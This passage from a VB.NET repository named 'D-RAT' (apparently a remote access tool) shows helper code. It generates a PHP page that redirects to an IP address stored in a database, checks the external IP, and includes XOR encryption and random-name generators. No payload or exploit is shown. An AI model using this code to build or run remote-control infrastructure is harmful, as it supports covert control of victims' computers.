PHP.Replace("|U|", UT.Text) 176 | PHP = PHP.Replace("|P|", PT.Text) 177 | PHP = PHP.Replace("|DB|", DBT.Text) 178 | Dim SFD As New SaveFileDialog 179 | SFD.Filter = "PHP Page|*.php" 180 | With SFD 181 | If .ShowDialog = Windows.Forms.DialogResult.OK Then 182 | IO.File.WriteAllText(.FileName, PHP) 183 | Else 184 | Exit Sub 185 | End If 186 | End With 187 | MsgBox("PHP Page Generated !", MsgBoxStyle.Information, "PHP") 188 | End Sub 189 | 190 | Private Sub Button1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button1.Click 191 | Dim SFD As New SaveFileDialog 192 | SFD.Filter = "Code SQL|*.SQL" 193 | With SFD 194 | If .ShowDialog = Windows.Forms.DialogResult.OK Then 195 | IO.File.WriteAllText(.FileName, My.Resources.DB) 196 | Else 197 | Exit Sub 198 | End If 199 | End With 200 | MsgBox("Code SQL Generated !", MsgBoxStyle.Information, "SQL") 201 | End Sub 202 | 203 | Private Sub Button4_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles Button4.Click 204 | Dim Web As New WebBrowser 205 | Web.Navigate(URLTB.Text) 206 | Do While Web.ReadyState <> WebBrowserReadyState.Complete 207 | Application.DoEvents() 208 | Loop 209 | MsgBox(Web.Url.Host) 210 | End Sub 211 | 212 | Private Sub IP_Checker_DoWork(ByVal sender As System.Object, ByVal e As System.ComponentModel.DoWorkEventArgs) Handles IP_Checker.DoWork 213 | If InternetConnection() Then 214 | LIP.Text = h.AddressList.GetValue(0).ToString 215 | LIP.ForeColor = Color.Green 216 | EIP.Text = GetExternalIp() 217 | EIP.ForeColor = Color.Green 218 | ip = True 219 | Else 220 | LIP.Text = "Error [Internet Connection]" 221 | LIP.ForeColor = Color.Red 222 | EIP.Text = "Error [Internet Connection]" 223 | EIP.ForeColor = Color.Red 224 | End If 225 | End Sub 226 | End Class 227 | -------------------------------------------------------------------------------- /D-RAT/Functions.vb: -------------------------------------------------------------------------------- 1 | Module Functions 2 | 3 | Public Function BS(ByVal b As Byte()) As String 4 | Return System.Text.Encoding.Default.GetString(b) 5 | End Function 6 | Public Function SB(ByVal s As String) As Byte() 7 | Return System.Text.Encoding.Default.GetBytes(s) 8 | End Function 9 | 10 | Function fx(ByVal b As Byte(), ByVal WRD As String) As Array ' split bytes by word 11 | Dim a As New List(Of Byte()) 12 | Dim M As New IO.MemoryStream 13 | Dim MM As New IO.MemoryStream 14 | Dim T As String() = Split(BS(b), WRD) 15 | M.Write(b, 0, T(0).Length) 16 | MM.Write(b, T(0).Length + WRD.Length, b.Length - (T(0).Length + WRD.Length)) 17 | a.Add(M.ToArray) 18 | a.Add(MM.ToArray) 19 | M.Dispose() 20 | MM.Dispose() 21 | Return a.ToArray 22 | End Function 23 | 24 | Public Function RandomVariable(ByVal minamount As Integer, ByVal maxamount As Integer) As String 25 | Dim Rand As New Random 26 | Dim TheVariable As String = Nothing 27 | Dim CharactersToUse As String = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM1234567890" 28 | For x As Integer = 1 To Rand.Next(minamount + 1, maxamount) 29 | Dim PickAChar As Integer = Int((CharactersToUse.Length - 2) * Rnd()) + 1 30 | TheVariable += (CharactersToUse(PickAChar)) 31 | Next 32 | Dim letters As String = "qwertyuiopasdfghjklzxcvbnmQWERTYUIOPLKHJJGFDSAZXCVBNM" 33 | Return letters(Rand.Next(0, letters.Length - 1)) + TheVariable 34 | End Function 35 | 36 | Public Function GetCountryNumber(ByVal queryCountry As String) As Integer 37 | Select Case queryCountry 38 | Case UCase("Afghanistan") 39 | GetCountryNumber = 1 40 | Case UCase("Albania") 41 | GetCountryNumber = 2 42 | Case UCase("Algeria") 43 | GetCountryNumber = 3 44 | Case UCase("American Samoa") 45 | GetCountryNumber = 4 46 | Case UCase("Andorra") 47 | GetCountryNumber = 5 48 | Case UCase("Angola") 49 | GetCountryNumber = 6 50 | Case UCase("Anguilla") 51 | GetCountryNumber = 7 52 | Case UCase("Antigua and Barbuda") 53 | GetCountryNumber = 8 54 | Case UCase("Argentina") 55 | GetCountryNumber = 9 56 | Case UCase("Armenia") 57 | GetCountryNumber = 10 58 | Case UCase("Aruba") 59 | GetCountryNumber = 11 60 | Case UCase("Australia") 61 | GetCountryNumber = 12 62 | Case UCase("Austria") 63 | GetCountryNumber = 13 64 | Case UCase("Azerbaijan") 65 | GetCountryNumber = 14 66 | Case UCase("Bahamas") 67 | GetCountryNumber = 15 68 | Case UCase("Bahrain") 69 | GetCountryNumber = 16 70 | Case UCase("Bangladesh") 71 | GetCountryNumber = 17 72 | Case UCase("Barbados") 73 | GetCountryNumber = 18 74 | Case UCase("Belarus") 75 | GetCountryNumber = 19 76 | Case UCase("Belgium") 77 | GetCountryNumber = 20 78 | Case UCase("Belize") 79 | GetCountryNumber = 21 80 | Case UCase("Benin") 81 | GetCountryNumber = 22 82 | Case UCase("Bermuda") 83 | GetCountryNumber = 23 84 | Case UCase("Bhutan") 85 | GetCountryNumber = 24 86 | Case UCase("Bolivia") 87 | GetCountryNumber = 25 88 | Case UCase("Bosnia & Herzegovina") 89 | GetCountryNumber = 26 90 | Case UCase("Botswana") 91 | GetCountryNumber = 27 92 | Case UCase("Bouvet Island") 93 | GetCountryNumber = 28 94 | Case UCase("Brazil") 95 | GetCountryNumber = 29 96 | Case UCase("British Indian Ocean Territory") 97 | GetCountryNumber = 30 98 | Case UCase("British Virgin Islands") 99 | GetCountryNumber = 31 100 | Case UCase("Brunei") 101 | GetCountryNumber = 32 102 | Case UCase("Bulgaria") 103 | GetCountryNumber = 33 104 | Case UCase("Burkina Faso") 105 | GetCountryNumber = 34 106 | Case UCase("Burundi") 107 | GetCountryNumber = 35 108 | Case UCase("Cambodia") 109 | GetCountryNumber = 36 110 | Case UCase("Cameroon") 111 | GetCountryNumber = 37 112 | Case UCase("Canada") 113 | GetCountryNumber = 38 114 | Case UCase("Cape Verde") 115 | GetCountryNumber = 39 116 | Case UCase("catalonia") 117 | GetCountryNumber = 40 118 | Case UCase("Cayman Islands") 119 | GetCountryNumber = 41 120 | Case UCase("Central African Republic") 121 | GetCountryNumber = 42 122 | Case UCase("Chad") 123 | GetCountryNumber = 43 124 | Case UCase("Chile") 125 | GetCountryNumber = 44 126 | Case UCase("China") 127 | GetCountryNumber = 45 128 | Case UCase("Christmas Islands") 129 | GetCountryNumber = 46 130 | Case UCase("Cocos (Keeling) Islands") 131 | GetCountryNumber = 47 132 | Case UCase("Colombia") 133 | GetCountryNumber = 48 134 | Case UCase("Comoras") 135 | GetCountryNumber = 49 136 | Case UCase("Congo, the Democratic Republic of the") 137 | GetCountryNumber = 50 138 | Case UCase("Costa Rica") 139 | GetCountryNumber = 51 140 | Case UCase("Croatia") 141 | GetCountryNumber = 52 142 | Case UCase("Cuba") 143 | GetCountryNumber = 53 144 | Case UCase("Cyprus") 145 | GetCountryNumber = 54 146 | Case UCase("Czech Republic") 147 | GetCountryNumber = 55 148 | Case UCase("Denmark") 149 | GetCountryNumber = 56 150 | Case UCase("Djibouti") 151 | GetCountryNumber = 57 152 | Case UCase("Dominica") 153 | GetCountryNumber = 58 154 | Case UCase("Dominican Republic") 155 | GetCountryNumber = 59 156 | Case UCase("Ecuador") 157 | GetCountryNumber = 60 158 | Case UCase("Egypt") 159 | GetCountryNumber = 61 160 | Case UCase("El Salvador") 161 | GetCountryNumber = 62 162 | Case UCase("England") 163 | GetCountryNumber = 63 164 | Case UCase("Equatorial Guinea") 165 | GetCountryNumber = 64 166 | Case UCase("Eritrea") 167 | GetCountryNumber = 65 168 | Case UCase("Estonia") 169 | GetCountryNumber = 66 170 | Case UCase("Ethiopia") 171 | GetCountryNumber = 67 172 | Case UCase("europeanunion") 173 | GetCountryNumber = 68 174 | Case UCase("Falkland Islands (Malvinas)") 175 | GetCountryNumber = 69 176 | Case UCase("Faroe Islands") 177 | GetCountryNumber = 70 178 | Case UCase("Fiji") 179 | GetCountryNumber = 71 180 | Case UCase("Finland") 181 | GetCountryNumber = 72 182 | Case UCase("France") 183 | GetCountryNumber = 73 184 | Case UCase("French Guiana") 185 | GetCountryNumber = 74 186 | Case UCase("French Polynesia") 187 | GetCountryNumber = 75 188 | Case UCase("French Southern Territories") 189 | GetCountryNumber = 76 190 | Case UCase("Gabon") 191 | GetCountryNumber = 77 192 | Case UCase("Gambia") 193 | GetCountryNumber = 78 194 | Case UCase("Georgia") 195 | GetCountryNumber = 79 196 | Case UCase("Germany") 197 | GetCountryNumber = 80 198 | Case UCase("Ghana") 199 | GetCountryNumber = 81 200 | Case UCase("Gibraltar") 201 | GetCountryNumber = 82 202 | Case UCase("Greece") 203 | GetCountryNumber = 83 204 | Case UCase("Greenland") 205 | GetCountryNumber = 84 206 | Case UCase("Grenada") 207 | GetCountryNumber = 85 208 | Case UCase("Guadeloupe") 209 | GetCountryNumber = 86 210 | Case UCase("Guam") 211 | GetCountryNumber = 87 212 | Case UCase("Guatemala") 213 | GetCountryNumber = 88 214 | Case UCase("Guinea") 215 | GetCountryNumber = 89 216 | Case UCase("Guinea-Bissau") 217 | GetCountryNumber = 90 218 | Case UCase("Guyana") 219 | GetCountryNumber = 91 220 | Case UCase("Haiti") 221 | GetCountryNumber = 92 222 | Case UCase("Heard Island and McDonald Islands") 223 | GetCountryNumber = 93 224 | Case UCase("Honduras") 225 | GetCountryNumber = 94 226 | Case UCase("Hong Kong") 227 | GetCountryNumber = 95 228 | Case UCase("Hungary") 229 | GetCountryNumber = 96 230 | Case UCase("Iceland") 231 | GetCountryNumber = 97 232 | Case UCase("India") 233 | GetCountryNumber = 98 234 | Case UCase("Indonesia") 235 | GetCountryNumber = 99 236 | Case UCase("Iran, Islamic Republic of") 237 | GetCountryNumber = 100 238 | Case UCase("Iraq") 239 | GetCountryNumber = 101 240 | Case UCase("Ireland") 241 | GetCountryNumber = 102 242 | Case UCase("Israel") 243 | GetCountryNumber = 103 244 | Case UCase("Italy") 245 | GetCountryNumber = 104 246 | Case UCase("Jamaica") 247 | GetCountryNumber = 105 248 | Case UCase("Japan") 249 | GetCountryNumber = 106 250 | Case UCase("Jordan") 251 | GetCountryNumber = 107 252 | Case UCase("Kazakhstan") 253 | GetCountryNumber = 108 254 | Case UCase("Kenya") 255 | GetCountryNumber = 109 256 | Case UCase("Kiribati") 257 | GetCountryNumber = 110 258 | Case UCase("Korea, Democratic People's Republic of") 259 | GetCountryNumber = 111 260 | Case UCase("Korea, Republic of") 261 | GetCountryNumber = 112 262 | Case UCase("Kuwait") 263 | GetCountryNumber = 113 264 | Case UCase("Kyrgyzstan") 265 | GetCountryNumber = 114 266 | Case UCase("Laos") 267 | GetCountryNumber = 115 268 | Case UCase("Latvia") 269 | GetCountryNumber = 116 270 | Case UCase("Lebanon") 271 | GetCountryNumber = 117 272 | Case UCase("Lesotho") 273 | GetCountryNumber = 118 274 | Case UCase("Liberia") 275 | GetCountryNumber = 119 276 | Case UCase("Libya") 277 | GetCountryNumber = 120 278 | Case UCase("Liechtenstein") 279 | GetCountryNumber = 121 280 | Case UCase("Lithuania") 281 | GetCountryNumber = 122 282 | Case UCase("Luxembourg") 283 | GetCountryNumber = 123 284 | Case UCase("Macao") 285 | GetCountryNumber = 124 286 | Case UCase("Macedonia") 287 | GetCountryNumber = 125 288 | Case UCase("Madagascar") 289 | GetCountryNumber = 126 290 | Case UCase("Malawi") 291 | GetCountryNumber = 127 292 | Case UCase("Malaysia") 293 | GetCountryNumber = 128 294 | Case UCase("Maldives") 295 | GetCountryNumber = 129 296 | Case UCase("Mali") 297 | GetCountryNumber = 130 298 | Case UCase("Malta") 299 | GetCountryNumber = 131 300 | Case UCase("Marshall Islands") 301 | GetCountryNumber = 132 302 | Case UCase("Martinique") 303 | GetCountryNumber = 133 304 | Case UCase("Mauritania") 305 | GetCountryNumber = 134 306 | Case UCase("Mauritius") 307 | GetCountryNumber = 135 308 | Case UCase("Mayotte") 309 | GetCountryNumber = 136 310 | Case UCase("Mexico") 311 | GetCountryNumber = 137 312 | Case UCase("Micronesia, Federated States of") 313 | GetCountryNumber = 138 314 | Case UCase("Moldava") 315 | GetCountryNumber = 139 316 | Case UCase("Monaco") 317 | GetCountryNumber = 140 318 | Case UCase("Mongolia") 319 | GetCountryNumber = 141 320 | Case UCase("Montenegro") 321 | GetCountryNumber = 142 322 | Case UCase("Montserrat") 323 | GetCountryNumber = 143 324 | Case UCase("Morocco") 325 | GetCountryNumber = 144 326 | Case UCase("Mozambique") 327 | GetCountryNumber = 145 328 | Case UCase("Myanmar") 329 | GetCountryNumber = 146 330 | Case UCase("Namibia") 331 | GetCountryNumber = 147 332 | Case UCase("Nauru") 333 | GetCountryNumber = 148 334 | Case UCase("Nepal") 335 | GetCountryNumber = 149 336 | Case UCase("Netherlands Antilles") 337 | GetCountryNumber = 150 338 | Case UCase("Netherlands, The") 339 | GetCountryNumber = 151 340 | Case UCase("New Caledonia") 341 | GetCountryNumber = 152 342 | Case UCase("New Zealand") 343 | GetCountryNumber = 153 344 | Case UCase("Nicaragua") 345 | GetCountryNumber = 154 346 | Case UCase("Niger") 347 | GetCountryNumber = 155 348 | Case UCase("Nigeria") 349 | GetCountryNumber = 156 350 | Case UCase("Niue") 351 | GetCountryNumber = 157 352 | Case UCase("Norfolk Island") 353 | GetCountryNumber = 158 354 | Case UCase("Northern Mariana Islands") 355 | GetCountryNumber = 159 356 | Case UCase("Norway") 357 | GetCountryNumber = 160 358 | Case UCase("Oman") 359 | GetCountryNumber = 161 360 | Case UCase("Pakistan") 361 | GetCountryNumber = 162 362 | Case UCase("Palau") 363 | GetCountryNumber = 163 364 | Case UCase("Panama") 365 | GetCountryNumber = 164 366 | Case UCase("Papua New Guinea") 367 | GetCountryNumber = 165 368 | Case UCase("Paraguay") 369 | GetCountryNumber = 166 370 | Case UCase("Peru") 371 | GetCountryNumber = 167 372 | Case UCase("Phillipines") 373 | GetCountryNumber = 168 374 | Case UCase("Pitcairn Islands") 375 | GetCountryNumber = 169 376 | Case UCase("Poland") 377 | GetCountryNumber = 170 378 | Case UCase("Portugal") 379 | GetCountryNumber = 171 380 | Case UCase("ps") 381 | GetCountryNumber = 172 382 | Case UCase("Puerto Rico") 383 | GetCountryNumber = 173 384 | Case UCase("Qatar") 385 | GetCountryNumber = 174 386 | Case UCase("Reunion") 387 | GetCountryNumber = 175 388 | Case UCase("Romania") 389 | GetCountryNumber = 176 390 | Case UCase("rs") 391 | GetCountryNumber = 177 392 | Case UCase("Russian Federation") 393 | GetCountryNumber = 178 394 | Case UCase("Rwanda") 395 | GetCountryNumber = 179 396 | Case UCase("Saint Helena") 397 | GetCountryNumber = 180 398 | Case UCase("Saint Kitts and Nevis") 399 | GetCountryNumber = 181 400 | Case UCase("Saint Lucia") 401 | GetCountryNumber = 182 402 | Case UCase("Saint Pierre") 403 | GetCountryNumber = 183 404 | Case UCase("Saint Vincent and the Grenadines") 405 | GetCountryNumber = 184 406 | Case UCase("Samoa") 407 | GetCountryNumber = 185 408 | Case UCase("San Marino") 409 | GetCountryNumber = 186 410 | Case UCase("Sao Tome and Principe") 411 | GetCountryNumber = 187 412 | Case UCase("Saudi Arabia") 413 | GetCountryNumber = 188 414 | Case UCase("scotland") 415 | GetCountryNumber = 189 416 | Case UCase("Senegal") 417 | GetCountryNumber = 190 418 | Case UCase("Seychelles") 419 | GetCountryNumber = 191 420 | Case UCase("Sierra Leone") 421 | GetCountryNumber = 192 422 | Case UCase("Singapore") 423 | GetCountryNumber = 193 424 | Case UCase("Slovakia") 425 | GetCountryNumber = 194 426 | Case UCase("Slovenia") 427 | GetCountryNumber = 195 428 | Case UCase("Solomon Islands") 429 | GetCountryNumber = 196 430 | Case UCase("Somalia") 431 | GetCountryNumber = 197 432 | Case UCase("South Africa") 433 | GetCountryNumber = 198 434 | Case UCase("South Georgia and the South Sandwich Islands") 435 | GetCountryNumber = 199 436 | Case UCase("Spain") 437 | GetCountryNumber = 200 438 | Case UCase("Sri Lanka") 439 | GetCountryNumber = 201 440 | Case UCase("Sudan") 441 | GetCountryNumber = 202 442 | Case UCase("Suriname") 443 | GetCountryNumber = 203 444 | Case UCase("Svalbard & Jan Mayen Islands") 445 | GetCountryNumber = 204 446 | Case UCase("Swaziland") 447 | GetCountryNumber = 205 448 | Case UCase("Sweden") 449 | GetCountryNumber = 206 450 | Case UCase("Switzerland") 451 | GetCountryNumber = 207 452 | Case UCase("Syrian Arab Republic") 453 | GetCountryNumber = 208 454 | Case UCase("Taiwan") 455 | GetCountryNumber = 209 456 | Case UCase("Tajikistan") 457 | GetCountryNumber = 210 458 | Case UCase("Tanzania, United Republic of") 459 | GetCountryNumber = 211 460 | Case UCase("Thailand") 461 | GetCountryNumber = 212 462 | Case UCase("Togo") 463 | GetCountryNumber = 213 464 | Case UCase("Tokelau") 465 | GetCountryNumber = 214 466 | Case UCase("Tonga") 467 | GetCountryNumber = 215 468 | Case UCase("Trinidad and Tobago") 469 | GetCountryNumber = 216 470 | Case UCase("Tunisia") 471 | GetCountryNumber = 217 472 | Case UCase("Turkey") 473 | GetCountryNumber = 218 474 | Case UCase("Turkmenistan") 475 | GetCountryNumber = 219 476 | Case UCase("Turks") 477 | GetCountryNumber = 220 478 | Case UCase("Tuvalu") 479 | GetCountryNumber = 221 480 | Case UCase("Uganda") 481 | GetCountryNumber = 222 482 | Case UCase("Ukraine") 483 | GetCountryNumber = 223 484 | Case UCase("United Arab Emirates") 485 | GetCountryNumber = 224 486 | Case UCase("United Kingdom") 487 | GetCountryNumber = 225 488 | Case UCase("United States Minor Outlying Islands") 489 | GetCountryNumber = 226 490 | Case UCase("United States") 491 | GetCountryNumber = 227 492 | Case UCase("Uruguay") 493 | GetCountryNumber = 228 494 | Case UCase("Uzbekistan") 495 | GetCountryNumber = 229 496 | Case UCase("Wales") 497 | GetCountryNumber = 230 498 | Case UCase("Wallis and Futuna") 499 | GetCountryNumber = 231 500 | Case UCase("Vanuatu") 501 | GetCountryNumber = 232 502 | Case UCase("Vatican City State") 503 | GetCountryNumber = 233 504 | Case UCase("Venezuela") 505 | GetCountryNumber = 234 506 | Case UCase("Western Sahara") 507 | GetCountryNumber = 235 508 | Case UCase("Viet Nam") 509 | GetCountryNumber = 236 510 | Case UCase("Virgin Islands, U.S") 511 | GetCountryNumber = 237 512 | Case UCase("Yemen") 513 | GetCountryNumber = 238 514 | Case UCase("Zambia") 515 | GetCountryNumber = 239 516 | Case UCase("Zimbabwe") 517 | GetCountryNumber = 240 518 | Case UCase("Palestine") 519 | GetCountryNumber = 241 520 | Case UCase("Cote d'Ivoire") 521 | GetCountryNumber = 242 522 | Case UCase("Sudan") 523 | GetCountryNumber = 243 524 | Case Else 525 | GetCountryNumber = 0 526 | End Select 527 | End Function 528 | 529 | Public Function siz(ByVal Size As String) As String 530 | If Size.Length < 4 Then 531 | Return Size & " Bytes" 532 | Exit Function 533 | End If 534 | Dim s As String = Size / 1024 535 | Dim F As String = " KB" 536 | Dim ss As Integer 537 | If InStr(s, ".") > 0 Then 538 | Dim j As Array = Split(s, ".") 539 | s = j(0) 540 | If j(1).ToString.Length > 3 Then 541 | ss = Mid(j(1), 1, 3) 542 | Else 543 | ss = j(1) 544 | End If 545 | End If 546 | If s.Length > 3 Then 547 | s = s / 1024 548 | F = " MB" 549 | If InStr(s, ".") > 0 Then 550 | Dim j As Array = Split(s, ".") 551 | s = j(0) 552 | If j(1).ToString.Length > 3 Then 553 | ss = Mid(j(1), 1, 3) 554 | Else 555 | ss = j(1) 556 | End If 557 | End If 558 | End If 559 | If s.Length > 3 Then 560 | s = s / 1024 561 | F = " GB" 562 | If InStr(s, ".") > 0 Then 563 | Dim j As Array = Split(s, ".") 564 | s = j(0) 565 | If j(1).ToString.Length > 3 Then 566 | ss = Mid(j(1), 1, 3) 567 | Else 568 | ss = j(1) 569 | End If 570 | End If 571 | End If 572 | Return s & "." & ss & F 573 | End Function 574 | 575 | Public Function DEB(ByRef s As String) As String ' Decode Base64 576 | Dim b As Byte() = Convert.FromBase64String(s) 577 | DEB = System.Text.Encoding.UTF8.GetString(b) 578 | End Function 579 | Public Function ENB(ByRef s As String) As String ' Encode base64 580 | Dim byt As Byte() = System.Text.Encoding.UTF8.GetBytes(s) 581 | ENB = Convert.ToBase64String(byt) 582 | End Function 583 | 584 | Public Function random_key(ByVal lenght As Integer) As String 585 | Randomize() 586 | Dim s As New System.Text.StringBuilder("") 587 | Dim b() As Char = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz".ToCharArray() 588 | For i As Integer = 1 To lenght 589 | Randomize() 590 | Dim z As Integer = Int(((b.Length - 2) - 0 + 1) * Rnd()) + 1 591 | s.Append(b(z)) 592 | Next 593 | Return s.ToString 594 | End Function 595 | Public Function encrypt(ByVal message As Byte(), ByVal password As String) As Byte() 596 | Dim passarr As Byte() = System.Text.Encoding.Default.GetBytes(password) 597 | Randomize() 598 | Dim rand As Integer = Int((255 - 0 + 1) * Rnd()) + 1 599 | Dim outarr(message.Length) As Byte 600 | Dim u As Integer 601 | For i As Integer = 0 To message.Length - 1 602 | outarr(i) += (message(i) Xor passarr(u)) Xor rand 603 | If u = password.Length - 1 Then u = 0 Else u = u + 1 604 | Next 605 | outarr(message.Length) = 112 Xor rand 606 | Return outarr 607 | End Function 608 | 609 | 610 | End Module 611 | -------------------------------------------------------------------------------- /D-RAT/Module1.vb: -------------------------------------------------------------------------------- 1 | Imports System.Net 2 | Imports System.Text.RegularExpressions 3 | 4 | Module Module1 5 | 6 | Public Function InternetConnection() As Boolean 7 | Try 8 | Using client = New WebClient() 9 | Using stream = client.OpenRead("http://www.google.com") 10 | Return True 11 | End Using 12 | End Using 13 | Catch 14 | Return False 15 | End Try 16 | End Function 17 | 18 | Public Function GetExternalIp() As String 19 | Try 20 | Dim ExternalIP As String 21 | ExternalIP = (New WebClient()).DownloadString("http://checkip.dyndns.org/") 22 | ExternalIP = (New Regex("\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}")).Matches(ExternalIP)(0).ToString() 23 | Return ExternalIP 24 | Catch 25 | Return Nothing 26 | End Try 27 | End Function 28 | End Module 29 | -------------------------------------------------------------------------------- /D-RAT/My Project/Application.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18449 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 | 'NOTE: This file is auto-generated; do not modify it directly. To make changes, 18 | ' or if you encounter build errors in this file, go to the Project Designer 19 | ' (go to Project Properties or double-click the My Project node in 20 | ' Solution Explorer), and make changes on the Application tab. 21 | ' 22 | Partial Friend Class MyApplication 23 | 24 | _ 25 | Public Sub New() 26 | MyBase.New(Global.Microsoft.VisualBasic.ApplicationServices.AuthenticationMode.Windows) 27 | Me.IsSingleInstance = false 28 | Me.EnableVisualStyles = true 29 | Me.SaveMySettingsOnExit = true 30 | Me.ShutDownStyle = Global.Microsoft.VisualBasic.ApplicationServices.ShutdownMode.AfterMainFormCloses 31 | End Sub 32 | 33 | _ 34 | Protected Overrides Sub OnCreateMainForm() 35 | Me.MainForm = Global.D_RAT.Form1 36 | End Sub 37 | End Class 38 | End Namespace 39 | -------------------------------------------------------------------------------- /D-RAT/My Project/Application.myapp: -------------------------------------------------------------------------------- 1 |  2 | 3 | true 4 | Form1 5 | false 6 | 0 7 | true 8 | 0 9 | 0 10 | true 11 | 12 | -------------------------------------------------------------------------------- /D-RAT/My Project/AssemblyInfo.vb: -------------------------------------------------------------------------------- 1 | Imports System 2 | Imports System.Reflection 3 | Imports System.Runtime.InteropServices 4 | 5 | ' General Information about an assembly is controlled through the following 6 | ' set of attributes. Change these attribute values to modify the information 7 | ' associated with an assembly. 8 | 9 | ' Review the values of the assembly attributes 10 | 11 | 12 | 13 | 14 | 15 | 16 | 17 | 18 | 19 | 20 | 'The following GUID is for the ID of the typelib if this project is exposed to COM 21 | 22 | 23 | ' Version information for an assembly consists of the following four values: 24 | ' 25 | ' Major Version 26 | ' Minor Version 27 | ' Build Number 28 | ' Revision 29 | ' 30 | ' You can specify all the values or you can default the Build and Revision Numbers 31 | ' by using the '*' as shown below: 32 | ' 33 | 34 | 35 | 36 | -------------------------------------------------------------------------------- /D-RAT/My Project/Resources.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18449 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | Imports System 15 | 16 | Namespace My.Resources 17 | 18 | 'This class was auto-generated by the StronglyTypedResourceBuilder 19 | 'class via a tool like ResGen or Visual Studio. 20 | 'To add or remove a member, edit your .ResX file then rerun ResGen 21 | 'with the /str option, or rebuild your VS project. 22 | ''' 23 | ''' A strongly-typed resource class, for looking up localized strings, etc. 24 | ''' 25 | _ 29 | Friend Module Resources 30 | 31 | Private resourceMan As Global.System.Resources.ResourceManager 32 | 33 | Private resourceCulture As Global.System.Globalization.CultureInfo 34 | 35 | ''' 36 | ''' Returns the cached ResourceManager instance used by this class. 37 | ''' 38 | _ 39 | Friend ReadOnly Property ResourceManager() As Global.System.Resources.ResourceManager 40 | Get 41 | If Object.ReferenceEquals(resourceMan, Nothing) Then 42 | Dim temp As Global.System.Resources.ResourceManager = New Global.System.Resources.ResourceManager("D_RAT.Resources", GetType(Resources).Assembly) 43 | resourceMan = temp 44 | End If 45 | Return resourceMan 46 | End Get 47 | End Property 48 | 49 | ''' 50 | ''' Overrides the current thread's CurrentUICulture property for all 51 | ''' resource lookups using this strongly typed resource class. 52 | ''' 53 | _ 54 | Friend Property Culture() As Global.System.Globalization.CultureInfo 55 | Get 56 | Return resourceCulture 57 | End Get 58 | Set 59 | resourceCulture = value 60 | End Set 61 | End Property 62 | 63 | ''' 64 | ''' Looks up a localized string similar to -- phpMyAdmin SQL Dump 65 | '''-- version 4.1.6 66 | '''-- http://www.phpmyadmin.net 67 | '''-- 68 | '''-- Client : 127.0.0.1 69 | '''-- Généré le : Mer 16 Juillet 2014 à 20:18 70 | '''-- Version du serveur : 5.6.16 71 | '''-- Version de PHP : 5.5.9 72 | ''' 73 | '''SET SQL_MODE = "NO_AUTO_VALUE_ON_ZERO"; 74 | '''SET time_zone = "+00:00"; 75 | ''' 76 | ''' 77 | '''/*!40101 SET @OLD_CHARACTER_SET_CLIENT=@@CHARACTER_SET_CLIENT */; 78 | '''/*!40101 SET @OLD_CHARACTER_SET_RESULTS=@@CHARACTER_SET_RESULTS */; 79 | '''/*!40101 SET @OLD_COLLATION_CONNECTION=@@COLLATION_CONNECTION */; 80 | '''/*!40101 SET NAMES utf8 */; 81 | ''' 82 | '''-- 83 | '''-- Base de do [rest of string was truncated]";. 84 | ''' 85 | Friend ReadOnly Property DB() As String 86 | Get 87 | Return ResourceManager.GetString("DB", resourceCulture) 88 | End Get 89 | End Property 90 | 91 | ''' 92 | ''' Looks up a localized string similar to <?php 93 | '''$con=mysqli_connect("|H|","|U|","|P|","|DB|"); 94 | '''// Check connection 95 | '''if (mysqli_connect_errno()) { 96 | ''' echo "Failed to connect to MySQL: " . mysqli_connect_error(); 97 | '''} 98 | '''$result = mysqli_query($con,"SELECT * FROM IP_updater"); 99 | '''while($row = mysqli_fetch_array($result)) { 100 | ''' echo $row['New_IP']; 101 | ''' header("Location: http://" . $row['New_IP']); 102 | '''} 103 | '''mysqli_close($con); 104 | '''?>. 105 | ''' 106 | Friend ReadOnly Property PHP_Page() As String 107 | Get 108 | Return ResourceManager.GetString("PHP_Page", resourceCulture) 109 | End Get 110 | End Property 111 | End Module 112 | End Namespace 113 | -------------------------------------------------------------------------------- /D-RAT/My Project/Resources.resx: -------------------------------------------------------------------------------- 1 |  2 | 3 | 62 | 63 | 64 | 65 | 66 | 67 | 68 | 69 | 70 | 71 | 72 | 73 | 74 | 75 | 76 | 77 | 78 | 79 | 80 | 81 | 82 | 83 | 84 | 85 | 86 | 87 | 88 | 89 | 90 | 91 | 92 | 93 | 94 | 95 | 96 | 97 | 98 | 99 | 100 | 101 | 102 | 103 | 104 | 105 | 106 | 107 | 108 | 109 | text/microsoft-resx 110 | 111 | 112 | 2.0 113 | 114 | 115 | System.Resources.ResXResourceReader, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 116 | 117 | 118 | System.Resources.ResXResourceWriter, System.Windows.Forms, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089 119 | 120 | 121 | 122 | ..\Resources\DB.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 123 | 124 | 125 | ..\Resources\PHP_Page.txt;System.String, mscorlib, Version=2.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089;Windows-1252 126 | 127 | -------------------------------------------------------------------------------- /D-RAT/My Project/Settings.Designer.vb: -------------------------------------------------------------------------------- 1 | '------------------------------------------------------------------------------ 2 | ' 3 | ' This code was generated by a tool. 4 | ' Runtime Version:4.0.30319.18449 5 | ' 6 | ' Changes to this file may cause incorrect behavior and will be lost if 7 | ' the code is regenerated. 8 | ' 9 | '------------------------------------------------------------------------------ 10 | 11 | Option Strict On 12 | Option Explicit On 13 | 14 | 15 | Namespace My 16 | 17 